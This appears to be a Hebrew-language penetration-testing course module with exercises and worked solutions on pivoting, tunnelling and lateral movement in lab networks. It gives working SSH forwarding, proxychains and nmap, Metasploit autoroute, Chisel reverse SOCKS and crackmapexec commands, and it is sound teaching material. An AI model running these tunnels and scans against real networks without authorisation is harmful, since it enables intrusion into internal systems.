

מודול 12 — Pivoting ותנועה רוחבית — תרגילים ופתרונות

חומר לימוד

2 יחידות

תוכן העניינים

1.  תרגילים — מודול 12: Pivoting ותנועה רוחבית

2.  פתרונות מלאים — מודול 12: Pivoting ותנועה רוחבית

תרגילים — מודול 12: Pivoting ותנועה רוחבית

⚠ רק על סביבות מעבדה חוקיות — רשת מעבדה משלך, חדרי (Wreath, Pivoting) TryHackMe, או HackTheBox Pro Labs. פתרונות ב- [solutions.md](#).

🚦 לפני שמתחילים — קרא אותי!

- מה צריך: Kali + מכונת Pivot שכבר פרצת אליה, שיש לה גישה לרשת פנימית נוספת. חדר "Wreath" ב-TryHackMe הוא המושלם לתרגול Pivoting מלא.
- איך עובדים: קרא קודם את ה- [README.md](#) — טבלת השיטות בסוף היא סיכום זהב. למשימות עם פקודה ברורה — הפקודה מופיעה; לקשות 💡 רמז ו-✅ קריטריון.
- נתקעת? nmap לא עובד דרך proxychains? כמעט תמיד חסרים -sT ו- -Pn. נסה, ואז הצץ ב- [solutions.md](#).
- טיפ: צייר תמיד את מפת הרשת (מי רואה את מי) — זה מבהיר את כל ה-Pivoting.

מקרא רמות: קל • בינוני • מתקדם • אתגר

חלק א' — זיהוי והבנה (●)

12.1 — הסבר את ההבדל בין **Pivoting, Lateral Movement** ו-**Tunneling**. 💡 רמז: §12.1 README.✅
הצלחה: שלוש הגדרות ברורות במילים שלך.

12.2 ● — נפרצת למכונה. גלה אם יש לה רשת פנימית נוספת.

```
ip a          # ממשקים נוספים (eth1?)
ip route      # רשתות מנוחבות
arp -a        # שכנים ידועים
```

👁👁 **הפש:** ממשק שני (למשל eth1 עם 10.10.10.x) — זו רשת פנימית שאתה לא רואה מ-Kali.✅
הצלחה: זיהית רשת פנימית שנגישה מה-Pivot בלבד.

12.3 — צייר/תאר תרחיש Dual-Homed: Kali, Pivot (שתי רשתות), ומכונה פנימית. סמן מי רואה את מי.💡
רמז: §12.2 README (הדיאגרמה).✅ הצלחה: הדיאגרמה מראה ש-Kali לא רואה את הרשת הפנימית

חלק ב' — SSH Tunneling (🟡)

12.4 🟡 — Local Forwarding: גש לשרת web פנימי דרך localhost.

```
ssh -L 8080:10.10.10.30:80 user@<pivot-ip>
# ב-Kali:
curl http://localhost:8080
```

👁️ **חפש:** `curl` מחזיר את תוכן השרת הפנימי (10.10.10.30) דרך הפורט המקומי 8080. ✅ הצלחה: הגעת לשרות פנימי דרך מנהרה.

12.5 🟡 — Dynamic Forwarding: הקם SOCKS proxy ו-proxychains.

```
ssh -D 9050 user@<pivot-ip>
# הוסף בסוף: socks5 127.0.0.1 9050
/etc/proxychains4.conf
proxychains firefox http://10.10.10.30
```

✅ הצלחה: גלשת לשרת פנימי דרך ה-SOCKS proxy.

12.6 🟡 — הרץ `nmap` דרך `proxychains` על מכונה פנימית.

```
proxychains nmap -sT -Pn 10.10.10.30
```

💡 רמז: §12.4 README. `-sT` (לא SYN — לא עובר ב-SOCKS) ו-`-Pn` (לא עובר ב-ICMP) — חובה. ✅ הצלחה: קיבלת תוצאות סריקה של מכונה פנימית.

חלק ג' — Chisel ו-Metasploit (🟡)

12.7 🟡 — יש לך Meterpreter על Pivot. הוסף `autoroute` וסרוק מכונה פנימית.

```
meterpreter > run autoroute -s 10.10.10.0/24
meterpreter > background
msf > use auxiliary/scanner/portscan/tcp
msf > set RHOSTS 10.10.10.30
msf > run
```

✓ הצלחה: מודול Metasploit "רואה" וסורק את הרשת הפנימית.

12.8 — אין SSH. השתמש ב-Chisel (reverse SOCKS) והרץ scan דרכו. 💡 רמז: §12.6 README. ב-Kali: `chisel server -p 8000 -reverse`; על הקורבן: `chisel client <kali>:8000 R:socks`. הצלחה: הקמת מנהרת Chisel והרצת proxychains דרכה. ✓

12.9 — הסבר מהו Double Pivot ומתי תזדקק לו. 💡 רמז: §12.7 README. ✓ הצלחה: הסברת שרשור מנהרות דרך מכונה פנימית לרשת עמוקה יותר.

🔴 אתגר מסכם — "חדירה לרשת הפנימית"

בסביבת מעבדה מרובת-רשתות (Wreath "TryHackMe" מצוין):

1. פרוץ את מכונת ה-Pivot (החשופה).
 2. גלה את הרשת הפנימית מאחוריה.
 3. הקם מנהרה (SSH -D / Chisel / Metasploit) לרשת הפנימית.
 4. סרוק את הרשת הפנימית דרך המנהרה, מצא מכונה נוספת, ופרוץ אותה.
 5. תעד: דיאגרמת רשת, שיטת ה-Pivot, והפקודות בכל שלב.
- 💡 רמז: פתרון מלא + מבנה תיעוד ב-solutions.md. ✓ הצלחה: חצית מהרשת החשופה לרשת פנימית ופרצת מכונה שם.

🍰 חדירה לרשת פנימית דרך Pivot היא לב הבחינה של PNPT ו-OSCP. תעד את הדיאגרמה.

✓ רשימת בקרה — לפני מעבר למודול 13

- ☐ אני מבין Pivoting / Lateral Movement / Tunneling
- ☐ אני מזהה רשת פנימית אחרי פריצה
- ☐ אני משתמש ב-SSH -L / -R / -D
- ☐ אני מגדיר proxychains ומריץ דרכו כלים (עם -Pn -sT)
- ☐ אני מפייבוט עם Metasploit autoroute
- ☐ אני מקים מנהרה עם Chisel כשאין SSH
- ☐ אני מבין ומבצע Double Pivot

פתרונות מלאים — מודול 12: Pivoting ותנועה רוחבית

נסה לבד ב- missions.md קודם. כל הפעולות על סביבות מעבדה חוקיות בלבד.

חלק א' — זיהוי והבנה

12.1 — Lateral Movement = מעבר בין מכונות באותה רשת (עם credentials). **Pivoting** = שימוש במכונה שנפרצה כנקודת מעבר לרשת אחרת. **Tunneling** = עטיפת תעבורה בפרוטוקול (SSH) לחציית גבולות.

12.2

```
ip a; ip route      # ממשקים ורשתות
arp -a             # שכנים ידועים
cat /etc/hosts
netstat -rn        # טבלת ניתוב
```

12.3 — Pivot → (192.168.1.10) Kali (192.168.1.50 + 10.10.10.5) → פנימית
(10.10.10.20) Kali רואה רק את 1.x ; ה-Pivot רואה את שתי הרשתות; הפנימית לא נגישה ל-Kali ישירות.

חלק ב' — SSH Tunneling

12.4

```
ssh -L 8080:10.10.10.30:80 user@192.168.1.50
# שרת פנימי = curl http://localhost:8080 ב-Kali
```

12.5

```
ssh -D 9050 user@192.168.1.50
# /etc/proxychains4.conf → socks5 127.0.0.1 9050
proxychains firefox http://10.10.10.30
```

12.6

```
proxychains nmap -sT -Pn -p- 10.10.10.30
```

`-sT` (TCP Connect) כי `SYN scan` לא עובר ב-SOCKS; `-Pn` כי `ICMP ping` לא עובר בפרוקסי (אחרת `nmap` ידלג על המכונה).

חלק ג' — Chisel-1 Metasploit

12.7

```
meterpreter > run autoroute -s 10.10.10.0/24
meterpreter > background
msf > use auxiliary/scanner/portscan/tcp
msf > set RHOSTS 10.10.10.30
msf > set PORTS 22,80,445,3389
msf > run
```

12.8

```
# Kali (שרת):
./chisel server -p 8000 --reverse
# על הקורבן:
./chisel client <kali-ip>:8000 R:socks
# ← SOCKS 127.0.0.1:1080; /etc/proxychains4.conf → socks5 127.0.0.1 1080
proxychains nmap -sT -Pn 10.10.10.30
```

12.9 — Double Pivot = כשהמכונה הפנימית שפרצת רואה רשת **שלישית** שגם ה-Pivot הראשון לא רואה. משרשרים: מנהרה 1 (Kali → Pivot1), ואז מנהרה 2 (Pivot1 → Pivot2) — למשל `-D` של `SSH` דרך `proxychains` קיים, או `Chisel` שרץ על `Pivot2` דרך המנהרה הראשונה.

>רשת >לקוח - Pivoting דוח

דיאגרמת רשת

Kali(192.168.1.10) → Pivot(.1.50 / 10.10.10.5) → Target2(10.10.10.30)

שיטה

1. פניע (מודול 9) web דרך שירות Pivot פריצת.
2. גילוי רשת פנימית: ip a → eth1 10.10.10.5/24.
3. מנהרה: ssh -D 9050 www-data@192.168.1.50.
4. מצא 10.10.10.30:445 → 10.10.10.0/24 -Pn -sT nmap proxychains.
5. פריצה → smb 10.10.10.30 crackmapexec proxychains.

המלצת תיקון

לרשת פנימית DMZ-חסום תעבורה מ Network segmentation;

חריגים SSH tunnels נטר.

עברת? חצית מ-DMZ לרשת פנימית — מיומנות ליבה. המשך למודול 13.